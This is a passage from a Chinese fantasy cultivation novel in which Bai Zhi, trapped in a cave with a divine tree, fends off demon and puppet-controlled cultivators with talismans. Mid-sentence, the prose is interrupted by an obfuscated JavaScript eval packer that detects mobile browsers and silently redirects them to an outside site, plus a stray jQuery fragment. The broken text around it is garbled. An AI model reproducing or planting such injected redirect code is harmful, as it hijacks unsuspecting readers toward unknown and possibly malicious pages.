“下去。”陈恒阴冷的声音在背后响起。
白栀不是很想跳,因为她讨厌蛇,而下面一堆蛇。
但现在也由不得选择,她背着明烨一同栽倒在地面茂密的草丛中。
秋邱刚想过来扶他俩,却被黑猫身边的青年伸手拦住,“再往前一步,我就杀了你。”
说话的人明烨熟悉至极,以至于他现在无法接受回忆里那个温柔亲和的大师兄和面前这个凶神恶煞,浑身魔气的魔头是同一个人。
在这种境地下相遇,明烨即便再骄纵任性,不知天高地厚也猜到这帮魔族进入这里是为了禁地里的东西,他抬头看向正中央的那颗树上,只觉得这树的样子似曾相识。
白栀也傻愣愣地望着这颗树发呆,这树的枝叶都呈金色,却实在长得太矮小了,也就两人的高度,与那粗短的树身和不算繁密的树冠相比,最奇怪的就是这棵树的树根以一种霸道夸张的姿态霸占了整个场地,黄褐色的树根如数千条巨蛇缠绕盘踞在地面,杂草在树根交错的空隙中生长。
而周围的场景更令人咋舌,这里的石壁上都密密麻麻插着无数把长剑,有的腐朽黯淡,有的却依然闪烁着灵光,其中不少剑还悬挂着灰暗的剑穗,显然这些剑都是有主人的。
白栀确认了这鬼地方没有其他出口,要么原路返回,要么从头顶冲出去。
但看头顶那密密麻麻的法咒,似乎也不是她这么个连御剑都不会的凡人能出入的。
“原来不止两只,还有一只——”离魅身边的许敬掀起眼皮,望向入口处的陈恒。
浑身死气的陈恒与满身魔气的许敬对视,彼此的表情都不太友好。
白栀暂且松了口气,原来这两方不是一伙的。
“师妹,搭把手。”明烨手按在她的肩头,白栀撑着他站了起来,慢慢往蛇少的地方挪,顺带暗地朝左侧的陆梦溪和秋邱递过一个疑问的眼神。
从秋邱衣襟上的血迹和惊恐不安的表情来看,她应该吃了些苦头,想来是同她一般被抓来的,至于她那位师父,白栀看他神色淡然,处变不惊,一开始还误会他勾结魔族背叛一念山。
但余光注意到他左手手腕那道还在滴血的伤口,再联系一边的许敬对他偶尔蔑视的眼神,又觉得他可能也是被抓来的倒霉蛋之一。
身后一个不人不鬼的,面前一个不人不魔的,还外加一只见了鬼会说话的黑猫,他们这四个倒霉蛋却是伤的伤废的废,别说打架了,只怕跑也跑不了多远。
怎么办怎么办,四人之中唯一没伤但最废的白栀脑子开始疯狂转动,一念山上弟子那么多,为什么这两拨人偏偏挑中他们四个?
“原来是你啊,本来我找不到你,才想着用这个小丫头代替,如今你在,倒是不用她来献祭了。”黑猫绿油油的眼望向白栀。
明烨立刻挡在她的面前。
“且慢。”许敬拦下它,看向站在入口处一直不动的陈恒,语气狐疑:“傀儡术——你是谁?”
陈恒诡异地笑了:“好重的魔气,前辈是魔族哪一位高人?竟然能一眼看穿我的小把戏。”
“大家都是为了这棺木里的东西而来,倒也不用假意寒暄了。”许敬突然出手,滚滚黑气袭来,“都给我留下。”
陈恒拔出长剑,一剑将魔气一分为二,“残骸只有一副,的确不用客气。”
这两人顷刻就在白栀身前打了起来,吓得她连忙拉着明烨躲远了些。灵力对撞时残余的力量撞向中央的神木,却被神木外罩的结界弹开,到处乱飞,波及其他人也不得不找地方躲避。
一片混乱中,白栀将却趁着机会跑向了秋邱,“师父师姐,你们没事吧?”
秋邱像是被抽干了力气一般坐在地上,嘴唇抖得厉害,像是喘不过气,白栀只能抱住她,小声问:“师姐你怎么了?”
秋邱忍着眼泪,摇了摇头。
但下一秒商阙,腿一软,撑着跪倒在地。
白栀惊叫一声,刚要扶住他,商阙却朝她伸出手示意她不要靠近,他有些嫌弃地看了一眼她身上沾染的明烨的血迹,“脏。”
白栀:“......”
“陆师叔流了很多血......为了打开外面的结界。”秋邱大喘着气解释,闭眼咽下一口血:“我中了蛇毒,走不动了,你,你们......”她狠狠推了白栀一下:“你们快走,快去通知师父,让他来救我!”
白栀反拽她:“你也一起!”
话音刚落,明烨也有些撑不住了,屈膝跪地,也附和秋邱,说:“我们几个人里就你没受伤,趁着现在,还不快走!”
商阙沉默着,视线却落在白栀身上。
白栀回报以更加沉默的对视,她开始翻自己的乾坤袋。
“你在干什么啊——”突然间的地动山摇,打断了秋邱的话。
或许是这两人的混战触发了这山洞内的机关,一股强悍的威压当头向所有人拍下,秋邱直接被这股力量震昏,明烨修为比她高,虽然勉强能保持清醒,却像是被重锤猛击太阳穴般眼前发黑,说不出话来。
前方刚刚还在缠斗的两人同时落地,陈恒再也支撑不住,吐出一口血,踉跄扶着身后的石壁站立。
许敬周身魔气缠绕,却还能站住。
单看着这点,双方胜负已分。
这具身体的素质远不如对方,‘陈恒’恨恨瞪了一眼‘许敬’,即便他俩都是远程操控这具身体,且背后彼此的实力不分上下,但被操控修士的修为高低,也会影响施术者能发挥的实力。
他抬头上看,心有余悸地试图找出威压的来源。
他本身也是剑术大家,能清楚分辨出方才压制他们的,是一道剑意。
锐利、肃杀、冷漠无情,犹如雪山崩塌,万丈风雪转眼便席卷天地之间,让人避无可避躲无可躲,无形寒意简直要将他的心脏冻结。
“......是,白止那女人的.....的剑意。”离魅抖落身上的寒霜,她刚刚找了个角落躲着,本想坐山观虎斗,如今却被这道剑意逼了出来,“这贱人,果然没死!”
“未必,或许只是她当时留下的。”‘许敬’调息片刻后,一掌挥开身上凝结的冰雪,左手一抓,黑猫便被他提了起来。
这动作颇为轻视,离魅只能强压着怒意笑道:“梦魔前辈,这剑意很快便会引起附近的注意,我们得速战速决了。”
“好说。”他将离魅往白栀那边一丢,“她们两个的血加上那些怨灵,足够侵蚀神梧木的力量。”
离魅却一声尖叫,半途落地,原来白栀同时打出了一道火符,在半空中烧着了她的皮毛。
见黑猫在地上痛苦翻滚,占据了许敬躯体的梦魔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451688|185143||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眉间闪过一丝杀意,他一挥手,地面的蛇潮向她汇聚。
然而他没想到的是,白栀从乾坤袋里洒出一把药粉,这些蛇立马翻着肚皮开始抽搐,接着她打出三道连珠火符。
这反应快得简直不像个凡人能做到的,火花接二连三在他面前爆开,被梦魔一一挡下,他挡的快,白栀也打的快,一时之间爆炸声此起彼伏。
“够了!”梦魔一声怒喝,实在没有耐心在这种耗下去,他一掌挥开所有火球,下一秒,神雷当空劈下。
这次她用的雷符。
白栀索性把从其他几个人身上搜刮出来大半的符咒丢了出去,这下成百上千道惊雷在洞内炸响,打完这一堆后她左手抱秋邱,右手抓明烨,呼喊着商阙:“快走啊!”
“你是保护不了所有人的。”商阙看她这费力的样子,平静地说:“他们要杀的是你,你应该趁这个机会先走。”
“别废话了,快走吧!”白栀还在努力将这昏迷的两个人往外拖,人在关键时刻会爆发出惊人的力量,此刻在树根密布的土地上扛着两个人的她简直如履平地,仿佛生路就在眼前。
“快快快,你先上去。”地面距离洞口还有一人高的距离,白栀示意他踩着自己先上去。
这种危机关头——商阙怔住,脸上难得露出疑惑的表情。
“你这该死的贱人!”梦魔的怒吼响彻天地,他抹了一把被火雷熏得发黑的脸,整个人简直要被气炸了,离魅正窝在地上舔舐着自己的伤口,他骂了句废物,手指一勾,本在昏迷中的秋邱和明烨突然睁开了眼睛。
秋邱嘶喊着什么朝白栀扑来,她躲开秋邱的五爪,回身打上一道定身符,下一秒,一击肘击撞得她龇牙咧嘴,后退翻倒。
“定身符与五行属性的符咒不同,是有修为压制的。你修为不够。”商阙慢条斯理地解释。
说话间,明烨已经按住了他的肩头,他呆呆睁着眼全然意识不到自己在干什么。手下用力欲捏碎他的腕骨,商阙立刻抽出一道符咒打向他的面门。
“轰”的一声,同样的雷火符在他手中犹如巨龙吐息,远非白栀刚刚那一堆火球可比。明烨被震飞后在地上翻滚了几圈,再度昏死过去。
这一下直接切断了梦魔的掌控。
“我杀了你我杀了你我杀了你......还我阿爹还我阿娘!!!”秋邱沉溺在梦魔构建的噩梦之中,将白栀当作了敌人,又哭又喊,表情狰狞的简直要与她同归于尽,“什么神仙什么天道都是狗屁!都是狗屁!”
商阙抽出一张符正要出手,身后劲风袭来,梦魔不寒而栗的声音响起:“看来,你是与我为敌了。”
“可笑。”商阙同时打出两道符,这符威力惊人,秋邱被直接炸翻,梦魔迎面接下,却趔趄一步。
头顶响起稀稀落落的掌声,“三昧真火,有点意思。”
这声音处于少年和青年之间的变声期,真是难听到拉低了那张脸的美貌程度,白栀已经知道来人是谁了,她刚刚被秋邱掐着脖子压倒,此刻还躺在地上爬不起来。
灵犀戏谑的目光落在她身上,“啧,要死了么?”
“还没。”白栀咳嗽了两声:“你怎么来了?”
“我来杀人。”灵犀负手而立,居高临下地扫视这洞内几人,眼神轻蔑至极,而后悠悠道:“白止在哪儿?”